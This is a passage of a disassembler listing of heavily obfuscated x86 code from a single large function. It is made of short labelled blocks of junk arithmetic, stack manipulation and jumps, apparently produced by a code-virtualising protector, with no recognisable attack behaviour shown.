; ---------------------------------------------------------------------------


loc_5CDEEE:				; CODE XREF: sub_5A55E5+1E8A6j
		add	ebx, 4
		jmp	loc_5CEA8A
; ---------------------------------------------------------------------------


loc_5CDEF9:				; CODE XREF: sub_5A55E5+28FECj
		sub	eax, 32F03A63h
		jmp	loc_5C2CB9
; ---------------------------------------------------------------------------


loc_5CDF03:				; CODE XREF: sub_5A55E5+1F5BEj
		mov	edx, [esp+94h+var_94]
		add	esp, 4
		sub	edx, 65677D8Ah
		pop	ecx
		add	edx, ebx
		add	[edx], eax
		jmp	loc_5C1C85
; ---------------------------------------------------------------------------


loc_5CDF19:				; CODE XREF: sub_5A55E5+28A55j
		push	small 364Bh
		mov	word ptr [esp+8Eh+var_90+2], ax
		jmp	loc_5C5B16
; ---------------------------------------------------------------------------


loc_5CDF26:				; CODE XREF: sub_5A55E5+26A7Aj
		pop	ebx
		pop	ebx
		push	ecx
		mov	ecx, 4
		add	edi, 0C1E4EF7h
		add	edi, 44243A3h
		add	edi, ecx
		jmp	loc_5D09AC
; ---------------------------------------------------------------------------


loc_5CDF41:				; CODE XREF: sub_5A55E5+2C4C8j
		mov	edi, 4
		add	ebp, edi
		mov	edi, [esp+60h+var_60]
		jmp	loc_5C0D4E
; ---------------------------------------------------------------------------


loc_5CDF50:				; CODE XREF: sub_5A55E5+1E47Cj
		mov	edi, 55D54F22h
		add	[esp+6Eh+var_6C+2], edi
		mov	edi, [esp+6Eh+var_70+2]
		add	esp, 4
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CDF67:				; CODE XREF: sub_5A55E5+2014Cj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+8Ah+var_8C+2]
		pop	esp
		mov	edi, ecx
		push	[esp+86h+var_88+2]
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+8Ah+var_8C+2]
		pop	esp
		sub	eax, edi
		push	[esp+86h+var_88+2]
		push	[esp+8Ah+var_8C+2]
		jmp	loc_5D0DAA
; ---------------------------------------------------------------------------


loc_5CDF9D:				; CODE XREF: sub_5A55E5+1FBF8j
		add	esp, 4
		add	edx, 4
		push	esi
		mov	esi, 4
		add	edx, esi
		push	[esp+98h+var_98]
		jmp	loc_5C1079
; ---------------------------------------------------------------------------


loc_5CDFB6:				; CODE XREF: sub_5A55E5+25A7Ej
		mov	[esp+0B6h+var_B8+2], ebx
		mov	ebp, [esp+0B6h+var_B8+2]
		push	edx
		push	esp
		jmp	loc_5C538D
; ---------------------------------------------------------------------------


loc_5CDFC3:				; CODE XREF: sub_5A55E5+1B77Ej
		pop	esp
		push	[esp+0A0h+var_A0]
		mov	eax, [esp+0A4h+var_A4]
		add	esp, 4
		jmp	loc_5CCE6F
; ---------------------------------------------------------------------------


loc_5CDFD2:				; CODE XREF: sub_5A55E5+2D6E3j
		xor	eax, 3B2F7D53h
		dec	eax
		jmp	loc_5C161A
; ---------------------------------------------------------------------------


loc_5CDFDD:				; CODE XREF: sub_5A55E5+29AD0j
		pop	ebp
		jmp	loc_5C8E33
; ---------------------------------------------------------------------------


loc_5CDFE3:				; CODE XREF: sub_5A55E5+1C10Fj
		push	eax
		mov	eax, 7D31131Bh
		dec	eax
		or	eax, 15F40F6Ch
		sub	eax, 549A2A96h
		sub	eax, 1C7708BFh
		jmp	loc_5D06B4
; ---------------------------------------------------------------------------


loc_5CDFFE:				; CODE XREF: sub_5A55E5+24B73j
		pop	esi
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp+84h+var_84]
		mov	esp, [esp+84h+var_84]
		jmp	loc_5C326B
; ---------------------------------------------------------------------------


loc_5CE013:				; CODE XREF: sub_5A55E5+2941Bj
		mov	edi, 59F79F4h
		shr	edi, 5
		jmp	loc_5C7D41
; ---------------------------------------------------------------------------


loc_5CE020:				; CODE XREF: sub_5A55E5+294F6j
		add	eax, 17BC3768h
		add	eax, ecx
		sub	eax, 17BC3768h
		push	[esp+84h+var_84]
		pop	ecx
		add	esp, 4
		movzx	ax, byte ptr [eax]
		jmp	loc_5CDF19
; ---------------------------------------------------------------------------


loc_5CE03F:				; CODE XREF: sub_5A55E5+2A150j
		xor	edi, 4B26F4FEh
		sub	eax, edi
		jmp	loc_5CF2B7
; ---------------------------------------------------------------------------


loc_5CE04C:				; CODE XREF: sub_5A55E5+1B38Ej
		sub	[esp+8Ch+var_8C], 48F75612h
		pop	ebx
		add	ebx, 48F75612h
		pop	edi
		add	ecx, ebx
		jmp	loc_5C70E1
; ---------------------------------------------------------------------------


loc_5CE062:				; CODE XREF: sub_5A55E5+24962j
		add	edx, 1C346EC2h
		add	edx, eax
		sub	edx, 1C346EC2h
		pop	eax
		and	edx, 21EB7EA8h
		add	edx, 0DE55DC04h
		mov	ebp, edx
		pop	edx
		add	ecx, 66000476h
		add	ecx, 67815688h
		add	ecx, ebp
		sub	ecx, 67815688h
		jmp	loc_5C4A37
; ---------------------------------------------------------------------------


loc_5CE099:				; CODE XREF: sub_5A55E5+1EF08j
		and	bl, 15h
		jmp	loc_5C47F7
; ---------------------------------------------------------------------------


loc_5CE0A1:				; CODE XREF: sub_5A55E5+1A71Ej
		add	ecx, 2DB23124h
		sub	ecx, edx
		sub	ecx, 2DB23124h
		pop	edx
		pop	ebp
		xor	ecx, [esp+8Ah+var_8C+2]
		jmp	loc_5CE625
; ---------------------------------------------------------------------------


loc_5CE0B9:				; CODE XREF: sub_5A55E5+249E2j
		mov	ebx, 61B625EFh
		jmp	loc_5D3DF7
; ---------------------------------------------------------------------------


loc_5CE0C3:				; CODE XREF: sub_5A55E5+26780j
		add	[esp+0CCh+var_C8], eax
		pop	eax
		push	[esp+0C8h+var_C8]
		pop	ecx
		push	ecx
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp+0D0h+var_D0], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0D0h+var_D0]
		jmp	loc_5C1EE3
; ---------------------------------------------------------------------------


loc_5CE0EB:				; CODE XREF: sub_5A55E5+23849j
		sub	ecx, 6F33756h
		or	ecx, 61B30840h
		jmp	loc_5CCFFA
; ---------------------------------------------------------------------------


loc_5CE0FC:				; CODE XREF: sub_5A55E5+27FC9j
		mov	eax, 1216208Bh
		push	edi
		mov	edi, 666D701Fh
		shr	edi, 6
		jmp	loc_5C6CF4
; ---------------------------------------------------------------------------


loc_5CE10F:				; CODE XREF: sub_5A55E5+23087j
		mov	ebp, 7C770F0Dh
		jmp	loc_5CD5A8
; ---------------------------------------------------------------------------


loc_5CE119:				; CODE XREF: sub_5A55E5+284AEj
		pop	ebp
		jmp	loc_5D1353
; ---------------------------------------------------------------------------


loc_5CE11F:				; CODE XREF: sub_5A55E5+2610Bj
		pop	ecx
		sub	ebx, 15C013ADh
		xor	edx, eax
		jmp	loc_5D077B
; ---------------------------------------------------------------------------


loc_5CE12D:				; CODE XREF: sub_5A55E5+24F45j
		add	edi, 24B66C59h
		sub	ebp, 0AC23B1Eh
		add	ebp, edi
		jmp	loc_5C7DA3
; ---------------------------------------------------------------------------


loc_5CE140:				; CODE XREF: sub_5A55E5+1FF36j
		pop	eax
		push	ecx
		jmp	loc_5CAC6E
; ---------------------------------------------------------------------------


loc_5CE147:				; CODE XREF: sub_5A55E5+29C82j
		pop	[esp+76h+var_78+2]
		mov	esp, [esp+72h+var_74+2]
		push	ebx
		mov	ebx, 40D637E3h
		xor	ebx, 71C73DEFh
		shr	ebx, 7
		sub	esp, 4
		mov	[esp+7Ah+var_7C+2], esi
		mov	esi, 34E86F2Fh
		sub	ebx, esi
		pop	esi
		sub	esp, 4
		jmp	loc_5CB005
; ---------------------------------------------------------------------------


loc_5CE175:				; CODE XREF: sub_5A55E5+2D6C5j
		pop	ebx
		add	eax, ebp
		pop	ebp
		jmp	loc_5C6E78
; ---------------------------------------------------------------------------


loc_5CE17E:				; CODE XREF: sub_5A55E5+2369Cj
		xor	ebp, 679B819Eh
		add	eax, 73B7293Bh
		sub	eax, ebp
		sub	eax, 73B7293Bh
		pop	ebp
		jmp	loc_5C3989
; ---------------------------------------------------------------------------


loc_5CE196:				; CODE XREF: sub_5A55E5+1F982j
		pop	ecx
		push	esi
		push	edx
		pop	esi
		pop	edx
		jmp	loc_5C9FDC
; ---------------------------------------------------------------------------


loc_5CE1A0:				; CODE XREF: sub_5A55E5+2D85Ej
		push	ebx
		push	[esp+0A0h+var_9C]
		mov	ebx, [esp+0A4h+var_A4]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_5BFB60
; ---------------------------------------------------------------------------


loc_5CE1BA:				; CODE XREF: sub_5A55E5+232B5j
		mov	ebx, 4CC00455h
		xor	ebx, 4ED54D00h
		xchg	ebp, ebx
		not	ebp
		jmp	loc_5D2C97
; ---------------------------------------------------------------------------


loc_5CE1CE:				; CODE XREF: sub_5A55E5+242FDj
		pop	esp
		mov	[esp+84h+var_84], ebp
		mov	ebp, 4A5E72BBh
		xor	ebp, 4F825184h
		shr	ebp, 1
		jmp	loc_5C539F
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+84h+var_84]
		push	5B73h
		mov	[esp+88h+var_88], ecx
		push	esp
		jmp	loc_5C2B85
; ---------------------------------------------------------------------------


loc_5CE1F6:				; CODE XREF: sub_5A55E5+225BEj
		add	edx, ebx
		push	eax
		mov	eax, 2ED45FB0h
		sub	edx, 69731FEEh
		jmp	loc_5CA80A
; ---------------------------------------------------------------------------


loc_5CE209:				; CODE XREF: sub_5A55E5+29C90j
		push	ebx
		mov	bl, 35h
		jmp	loc_5CEF92
; ---------------------------------------------------------------------------
		push	ecx
		push	3A82h
		jmp	loc_5C757A
; ---------------------------------------------------------------------------


loc_5CE21C:				; CODE XREF: sub_5A55E5+26245j
		sub	word ptr [esp+9Ah+var_9C+2], ax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CE226:				; CODE XREF: sub_5A55E5+256A4j
		xchg	edi, [esp+3Ch+var_3E+2]
		mov	esp, [esp+3Ch+var_3E+2]
		mov	[esp+3Ch+var_3E+2], ebp
		mov	ebp, 6B6605C8h
		jmp	loc_5CEB38
; ---------------------------------------------------------------------------


loc_5CE239:				; CODE XREF: sub_5A55E5+215CEj
		xchg	eax, [esp+88h+var_88]
		pop	esp
		mov	[esp+84h+var_84], ebx
		jmp	loc_5D2124
; ---------------------------------------------------------------------------


loc_5CE245:				; CODE XREF: sub_5A55E5+2DC95j
		xor	[esp+84h+var_84], edi
		xor	edi, [esp+84h+var_84]
		pop	esp
		push	ebp
		sub	esp, 4
		mov	[esp+88h+var_88], edx
		push	35E77A89h
		pop	edx
		jmp	loc_5D3100
; ---------------------------------------------------------------------------


loc_5CE261:				; CODE XREF: sub_5A55E5+2C2DBj
		sub	al, 0D4h
		add	al, 3Bh
		pop	ecx
		pop	edx
		sub	al, bl
		sub	al, 18h
		push	4B16h
		jmp	loc_5CA09B
; ---------------------------------------------------------------------------


loc_5CE275:				; CODE XREF: sub_5A55E5+2856Ej
		add	esp, 4
		jmp	loc_5D1D1A
; ---------------------------------------------------------------------------
		xor	byte ptr [esp+9Eh+var_A0+2], dl
		xor	dl, byte ptr [esp+9Eh+var_A0+2]
		xor	byte ptr [esp+9Eh+var_A0+2], dl
		jmp	loc_5D23D3
; ---------------------------------------------------------------------------


loc_5CE28B:				; CODE XREF: sub_5A55E5+1FA1Dj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5CAB0E
; ---------------------------------------------------------------------------


loc_5CE299:				; CODE XREF: sub_5A55E5+1B931j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5CB9B1
; ---------------------------------------------------------------------------


loc_5CE2A9:				; CODE XREF: sub_5A55E5+23EEAj
		sub	edx, esi
		sub	edx, 20C85A53h
		mov	esi, [esp+0ACh+var_AC]
		push	ebx
		mov	ebx, esp
		jmp	loc_5C14DE
; ---------------------------------------------------------------------------


loc_5CE2BC:				; CODE XREF: sub_5A55E5+1B099j
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		jmp	loc_5CA641
; ---------------------------------------------------------------------------


loc_5CE2CA:				; CODE XREF: sub_5A55E5+2C9C9j
		sub	esp, 4
		mov	[esp+94h+var_94], ebx
		push	esp
		jmp	loc_5C394F
; ---------------------------------------------------------------------------
		push	[esp+98h+var_98]
		jmp	loc_5C562A
; ---------------------------------------------------------------------------


loc_5CE2DE:				; CODE XREF: sub_5A55E5+28142j
		add	[esp+6Ah+var_68+2], edi
		sub	[esp+6Ah+var_68+2], 7F4A7F75h
		sub	[esp+6Ah+var_68+2], 61D41D01h
		sub	[esp+6Ah+var_68+2], 68D86C9Dh
		sub	[esp+6Ah+var_68+2], 72C4298Ch
		push	[esp+6Ah+var_6C+2]
		pop	edi
		push	edi
		mov	edi, esp
		jmp	loc_5CDEDA
; ---------------------------------------------------------------------------


loc_5CE30E:				; CODE XREF: sub_5A55E5+27332j
		mov	dh, 94h
		xor	dh, 0F9h
		xor	dh, 67h
		sub	dh, 0F0h
		add	bl, dh
		jmp	loc_5C018D
; ---------------------------------------------------------------------------


loc_5CE320:				; CODE XREF: sub_5A55E5+1D44Ej
		push	[esp+9Eh+var_A0+2]
		pop	ecx
		add	esp, 4
		push	ecx
		mov	ch, 31h
		push	small 29CEh
		mov	word ptr [esp+0A0h+var_A0], cx
		not	byte ptr [esp+0A0h+var_A0+1]
		mov	cx, word ptr [esp+0A0h+var_A0]
		sub	esp, 4
		jmp	loc_5C0BEF
; ---------------------------------------------------------------------------


loc_5CE345:				; CODE XREF: sub_5A55E5+1F86Dj
		mov	edx, [esp+90h+var_90]
		add	esp, 4
		push	esi
		push	ecx
		mov	ecx, 69242D68h
		mov	esi, ecx
		pop	ecx
		xor	esi, 16B45EBh
		sub	eax, 661661DCh
		sub	eax, esi
		jmp	loc_5CBB5E
; ---------------------------------------------------------------------------


loc_5CE367:				; CODE XREF: sub_5A55E5+2612Cj
		push	[esp+9Ah+var_9C+2]
		mov	ebx, [esp+9Eh+var_A0+2]
		push	236Bh
		jmp	loc_5CCF0D
; ---------------------------------------------------------------------------


loc_5CE377:				; CODE XREF: sub_5A55E5+2E314j
		add	edi, 0B16BB5CFh
		jmp	loc_5D198A
; ---------------------------------------------------------------------------


loc_5CE382:				; CODE XREF: sub_5A55E5+222B1j
		mov	[esp+9Ah+var_9C+2], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	[esp+9Eh+var_9C+2]
		pop	esi
		pop	[esp+9Eh+var_A0+2]
		pop	esp
		jmp	loc_5C92FE
; ---------------------------------------------------------------------------


loc_5CE3A2:				; CODE XREF: sub_5A55E5+2E7F3j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+9Ah+var_9C+2]
		pop	esp
		sub	eax, 104F486Dh
		jmp	loc_5CA856
; ---------------------------------------------------------------------------


loc_5CE3BF:				; CODE XREF: sub_5A55E5+20DA3j
		xor	[esp+8Eh+var_90+2], ecx
		xor	ecx, [esp+8Eh+var_90+2]
		mov	esp, [esp+8Eh+var_90+2]
		mov	[esp+8Eh+var_90+2], edi
		push	1
		pop	edi
		and	eax, edi
		push	[esp+8Eh+var_90+2]
		pop	edi
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+92h+var_94+2]
		xor	[esp+92h+var_94+2], esi
		xor	esi, [esp+92h+var_94+2]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_5C8492
; ---------------------------------------------------------------------------


loc_5CE3F6:				; CODE XREF: sub_5A55E5+28063j
		mov	ch, 14h
		not	ch
		push	6E57h
		mov	[esp+0A8h+var_A8], ebx
		mov	bh, 0F5h
		jmp	loc_5CC25D
; ---------------------------------------------------------------------------


loc_5CE409:				; CODE XREF: sub_5A55E5+2B3DBj
		pop	ebp
		jmp	loc_5D3586
; ---------------------------------------------------------------------------


loc_5CE40F:				; CODE XREF: sub_5A55E5+2DEE3j
		sub	edx, esi
		mov	esi, edx
		pop	edx
		and	esi, 36384402h
		jmp	loc_5BFEF2
; ---------------------------------------------------------------------------


loc_5CE41F:				; CODE XREF: sub_5A55E5+1C543j
		sub	esp, 4
		mov	[esp+0AEh+var_B0+2], edi
		jmp	loc_5C15A5
; ---------------------------------------------------------------------------


loc_5CE42D:				; CODE XREF: sub_5A55E5+1B988j
		neg	ebx
		sub	ebx, 0B62DE46Fh
		add	eax, ebx
		pop	ebx
		sub	eax, 4
		xchg	eax, [esp+98h+var_98]
		pop	esp
		mov	[esp+94h+var_94], edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebp
		jmp	loc_5BFC2A
; ---------------------------------------------------------------------------


loc_5CE452:				; CODE XREF: sub_5A55E5+29F9Fj
		mov	ebp, 43CC6865h
		shr	ebp, 6
		and	ebp, 0A641B42h
		jmp	loc_5D34F6
; ---------------------------------------------------------------------------


loc_5CE465:				; CODE XREF: sub_5A55E5+2210Aj
		mov	bl, 0DBh
		mov	dl, 2Eh
		add	dl, bl
		pop	ebx
		sub	dl, 74h
		jmp	loc_5C698E
; ---------------------------------------------------------------------------


loc_5CE474:				; CODE XREF: sub_5A55E5+266C7j
		sub	esp, 4
		mov	[esp+9Ah+var_9C+2], ebx
		mov	ebx, 9790D68h
		add	ebx, 8AE0BB8h
		and	ebp, ebx
		jmp	loc_5D37B9
; ---------------------------------------------------------------------------


loc_5CE48F:				; CODE XREF: sub_5A55E5+2D72Ej
		push	eax
		mov	eax, 4AF85B0Ch
		xor	ecx, eax
		pop	eax
		jmp	loc_5C6313
; ---------------------------------------------------------------------------


loc_5CE49D:				; CODE XREF: sub_5A55E5+23575j
		pop	edi
		push	ebx
		mov	ebx, eax
		mov	ebp, ebx
		mov	ebx, [esp+0A8h+var_A8]
		jmp	loc_5CE7CE
; ---------------------------------------------------------------------------


loc_5CE4AB:				; CODE XREF: sub_5A55E5+1C2BFj
		mov	[edx], edi
		pop	edx
		mov	ebx, [esp+88h+var_88]
		sub	esp, 4
		mov	[esp+8Ch+var_8C], esi
		mov	esi, esp
		jmp	loc_5CA7CF
; ---------------------------------------------------------------------------


loc_5CE4BE:				; CODE XREF: sub_5A55E5+2AF04j
		xor	edi, [esp+8Ch+var_8C]
		mov	esp, [esp+8Ch+var_8C]
		push	2A6Eh
		mov	[esp+90h+var_90], ebx
		jmp	loc_5C1243
; ---------------------------------------------------------------------------


loc_5CE4D1:				; CODE XREF: sub_5A55E5+29009j
		or	ecx, 60777EACh
		add	ecx, 49757859h
		dec	ecx
		push	ecx
		not	[esp+94h+var_94]
		pop	ecx
		xor	ecx, 439307AAh
		push	741Dh
		mov	[esp+94h+var_94], edx
		mov	edx, ecx
		jmp	loc_5C7EA8
; ---------------------------------------------------------------------------


loc_5CE4F8:				; CODE XREF: sub_5A55E5+24474j
		mov	[esp+76h+var_78+2], eax
		push	2F087897h
		mov	eax, [esp+7Ah+var_7C+2]
		jmp	loc_5CEBDE
; ---------------------------------------------------------------------------


loc_5CE508:				; CODE XREF: sub_5A55E5+2C72Aj
		shr	eax, 8
		sub	esp, 4
		mov	[esp+7Eh+var_80+2], ecx
		mov	ecx, 1FA67567h
		sub	ecx, 5EAE0298h
		or	ecx, 57AF6657h
		xor	ecx, 6AF4464Bh
		neg	ecx
		add	ecx, 1
		jmp	loc_5C1F9C
; ---------------------------------------------------------------------------


loc_5CE535:				; CODE XREF: sub_5A55E5+249B1j
		pop	eax
		push	584Fh
		mov	[esp+80h+var_80], edx
		push	0FFFFFFFFh
		jmp	loc_5D07E6
; ---------------------------------------------------------------------------


loc_5CE548:				; CODE XREF: sub_5A55E5+2D99Bj
		add	ebp, esi
		sub	ebp, 50CB3BACh
		push	[esp+84h+var_84]
		pop	esi
		add	esp, 4
		xchg	ebp, [esp+80h+var_80]
		pop	esp
		add	esi, ebx
		pop	ebx
		push	ebp
		sub	esp, 4
		mov	[esp+80h+var_80], esi
		pop	ebp
		push	3AC9h
		mov	[esp+80h+var_80], ebp
		sub	[esp+80h+var_80], 284B4ED4h
		jmp	loc_5C62A7
; ---------------------------------------------------------------------------


loc_5CE57D:				; CODE XREF: sub_5A55E5+2BF33j
		pop	edi
		jmp	loc_5D2B5D
; ---------------------------------------------------------------------------


loc_5CE583:				; CODE XREF: sub_5A55E5+1DB9Cj
		push	ax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CE58B:				; CODE XREF: sub_5A55E5+1E06Aj
		mov	ecx, 774E5E1Dh
		sub	ebp, ecx
		pop	ecx
		jmp	loc_5C0096
; ---------------------------------------------------------------------------


loc_5CE598:				; CODE XREF: sub_5A55E5+1EBA1j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+8Ch+var_8C]
		pop	esp
		mov	[esp+88h+var_88], ecx
		jmp	loc_5C863C
; ---------------------------------------------------------------------------


loc_5CE5B2:				; CODE XREF: sub_5A55E5+29399j
		push	28EDh
		mov	[esp+8Ch+var_8C], ebp
		push	685h
		mov	[esp+90h+var_90], eax
		mov	eax, esp
		push	esi
		push	4BCF0312h
		pop	esi
		jmp	loc_5C7034
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5CDEF9
; ---------------------------------------------------------------------------


loc_5CE5D6:				; CODE XREF: sub_5A55E5+2110Dj
		mov	[esp+8Eh+var_90+2], edi
		push	eax
		push	esi
		pop	eax
		mov	edi, eax
		pop	eax
		mov	ecx, edi
		pop	edi
		mov	esi, [esp+8Ah+var_8C+2]
		add	esp, 4
		add	ecx, 43B03ABBh
		jmp	loc_5CE4D1
; ---------------------------------------------------------------------------


loc_5CE5F3:				; CODE XREF: sub_5A55E5+1B95Ej
		xor	edx, [esp+94h+var_94]
		pop	esp
		mov	[esp+90h+var_90], eax
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CE5FF:				; CODE XREF: sub_5A55E5+1AB34j
		pop	ebp
		not	eax
		neg	eax
		push	ecx
		push	edi
		mov	edi, 8C9623Fh
		push	edx
		mov	edx, 68710554h
		xor	edi, edx
		jmp	loc_5C85D7
; ---------------------------------------------------------------------------


loc_5CE618:				; CODE XREF: sub_5A55E5+21E8Cj
		push	ebp
		mov	ebp, 319D27A4h
		not	ebp
		jmp	loc_5C5A88
; ---------------------------------------------------------------------------


loc_5CE625:				; CODE XREF: sub_5A55E5+28ACFj
		xor	[esp+8Ah+var_8C+2], ecx
		xor	ecx, [esp+8Ah+var_8C+2]
		mov	esp, [esp+8Ah+var_8C+2]
		shr	[esp+8Ah+var_8C+2], cl
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CE637:				; CODE XREF: sub_5A55E5+2A3D9j
		sub	bh, ah
		pop	eax
		add	bh, 0C4h
		shr	bh, 1
		xor	bh, 4Fh
		sub	esp, 2
		jmp	loc_5BFBF9
; ---------------------------------------------------------------------------


loc_5CE64D:				; CODE XREF: sub_5A55E5+1CF87j
		pop	esp
		push	3F20h
		mov	[esp+0A0h+var_A0], esi
		push	esp
		pop	esi
		jmp	loc_5C812B
; ---------------------------------------------------------------------------


loc_5CE65D:				; CODE XREF: sub_5A55E5+2338Dj
		mov	edi, 1BEA6CB1h
		shl	edi, 8
		jmp	loc_5C2A38
; ---------------------------------------------------------------------------


loc_5CE66A:				; CODE XREF: sub_5A55E5+26B62j
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp+0BAh+var_B8+2]
		jmp	loc_5BF92C
; ---------------------------------------------------------------------------


loc_5CE67C:				; CODE XREF: sub_5A55E5+25BCAj
		mov	ebp, 4645091Bh
		sub	ebp, 0DE3DC7ADh
		jmp	loc_5C6782
; ---------------------------------------------------------------------------


loc_5CE68C:				; CODE XREF: sub_5A55E5+1F88Dj
		add	edx, 4
		push	ebp
		mov	ebp, 2
		add	edx, ebp
		pop	ebp
		xor	edx, [esp+88h+var_88]
		jmp	loc_5C7D0E
; ---------------------------------------------------------------------------


loc_5CE6A3:				; CODE XREF: sub_5A55E5+268A9j
		sub	edi, 4
		xchg	edi, [esp+98h+var_98]
		pop	esp
		mov	[esp+94h+var_94], esi
		push	70D6h
		mov	[esp+98h+var_98], ebx
		push	19901554h
		mov	ebx, [esp+9Ch+var_9C]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5CF0CE
; ---------------------------------------------------------------------------


loc_5CE6CE:				; CODE XREF: sub_5A55E5+2B10Dj
		add	esp, 4
		xor	edx, 36202ACFh
		push	esi
		jmp	loc_5C2B5A
; ---------------------------------------------------------------------------


loc_5CE6E0:				; CODE XREF: sub_5A55E5+1C4E9j
		mov	ecx, [esp+0A2h+var_A4+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0A2h+var_A4+2], ebx
		jmp	loc_5C7C02
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CE6FB:				; CODE XREF: sub_5A55E5+1E3C4j
		sub	esp, 4
		mov	[esp+0A4h+var_A4], ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp+0A4h+var_A4]
		pop	esp
		pop	edi
		push	6B1Ch
		jmp	loc_5C86C3
; ---------------------------------------------------------------------------


loc_5CE721:				; CODE XREF: sub_5A55E5+2B72Fj
		push	ebx
		jmp	loc_5CB7D4
; ---------------------------------------------------------------------------


loc_5CE727:				; CODE XREF: sub_5A55E5+21F0Bj
		pop	esi
		add	ebp, 61627743h
		jmp	loc_5D3555
; ---------------------------------------------------------------------------


loc_5CE733:				; CODE XREF: sub_5A55E5+25C89j
		pop	esi
		pop	[esp+9Eh+var_A0+2]
		pop	esp
		mov	[esp+96h+var_98+2], edi
		jmp	loc_5C182D
; ---------------------------------------------------------------------------


loc_5CE740:				; CODE XREF: sub_5A55E5+21D61j
		pop	esp
		push	ebx
		push	ebp
		push	ecx
		push	esi
		mov	esi, 57085875h
		jmp	loc_5D36BF
; ---------------------------------------------------------------------------


loc_5CE74F:				; CODE XREF: sub_5A55E5+26C17j
		mov	bh, cl
		mov	ecx, [esp+9Ch+var_9C]
		add	esp, 4
		jmp	loc_5C16B3
; ---------------------------------------------------------------------------


loc_5CE75C:				; CODE XREF: sub_5A55E5+2C177j
		add	ebp, 4
		xchg	ebp, [esp+98h+var_98]
		pop	esp
		mov	ah, bh
		pop	ebx
		add	bl, ah
		pop	eax
		jmp	loc_5D351B
; ---------------------------------------------------------------------------


loc_5CE76E:				; CODE XREF: sub_5A55E5+1BA8Fj
		push	ecx
		mov	cl, dl
		jmp	loc_5D1BCD
; ---------------------------------------------------------------------------


loc_5CE776:				; CODE XREF: sub_5A55E5+204D8j
		xor	esi, [esp+9Eh+var_A0+2]
		mov	esp, [esp+9Eh+var_A0+2]
		xchg	edx, [esp+9Eh+var_A0+2]
		mov	esp, [esp+9Eh+var_A0+2]
		mul	cl
		movzx	cx, ah
		push	small 2330h
		jmp	loc_5C13C4
; ---------------------------------------------------------------------------


loc_5CE791:				; CODE XREF: sub_5A55E5+1D693j
		mov	esp, [esp+8Ch+var_8C]
		add	esp, 4
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CE79F:				; CODE XREF: sub_5A55E5+2414Ej
		mov	ebp, 0BAC6F5Fh
		add	ebp, edx
		pop	edx
		not	ebp
		shr	ebp, 5
		shr	ebp, 5
		not	ebp
		push	ecx
		mov	ecx, 0FFC93A59h
		xor	ebp, ecx
		mov	ecx, [esp+0A2h+var_A4+2]
		add	esp, 4
		add	eax, 6DFF753Ch
		sub	eax, ebp
		jmp	loc_5D3A2F
; ---------------------------------------------------------------------------


loc_5CE7CE:				; CODE XREF: sub_5A55E5+28EC1j
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp+0ACh+var_AC]
		pop	esp
		mov	eax, [esp+0A8h+var_A8]
		sub	esp, 4
		mov	[esp+0ACh+var_AC], ecx
		push	esp
		mov	ecx, [esp+0B0h+var_B0]
		jmp	loc_5CF051
; ---------------------------------------------------------------------------


loc_5CE7F3:				; CODE XREF: sub_5A55E5+20428j
		xchg	esi, [esp+8Eh+var_90+2]
		pop	esp
		push	ebx
		mov	ebx, 6EEC4484h
		jmp	loc_5D0410
; ---------------------------------------------------------------------------


loc_5CE802:				; CODE XREF: sub_5A55E5+29443j
		add	edi, ebp
		jmp	loc_5BF8E7
; ---------------------------------------------------------------------------


loc_5CE809:				; CODE XREF: sub_5A55E5+28476j
		push	[esp+0B8h+var_B4]
		jmp	loc_5C4779
; ---------------------------------------------------------------------------


loc_5CE812:				; CODE XREF: sub_5A55E5+1F376j
		push	ebp
		jmp	loc_5CC9F3
; ---------------------------------------------------------------------------


loc_5CE818:				; CODE XREF: sub_5A55E5+27065j
		pop	edx
		add	bh, 5Bh
		neg	bh
		xor	bh, 0CAh
		jmp	loc_5C8EAD
; ---------------------------------------------------------------------------


loc_5CE826:				; CODE XREF: sub_5A55E5+1E263j
		push	esi
		jmp	loc_5C61DE
; ---------------------------------------------------------------------------


loc_5CE82C:				; CODE XREF: sub_5A55E5+2DC0Bj
		mov	ebx, [esp+0D0h+var_D0]
		add	esp, 4
		push	edx
		mov	edx, 4
		sub	esi, edx
		pop	edx
		xor	esi, [esp+0CCh+var_CC]
		xor	[esp+0CCh+var_CC], esi
		xor	esi, [esp+0CCh+var_CC]
		jmp	loc_5C5E0A
; ---------------------------------------------------------------------------


loc_5CE849:				; CODE XREF: sub_5A55E5+1BCB7j
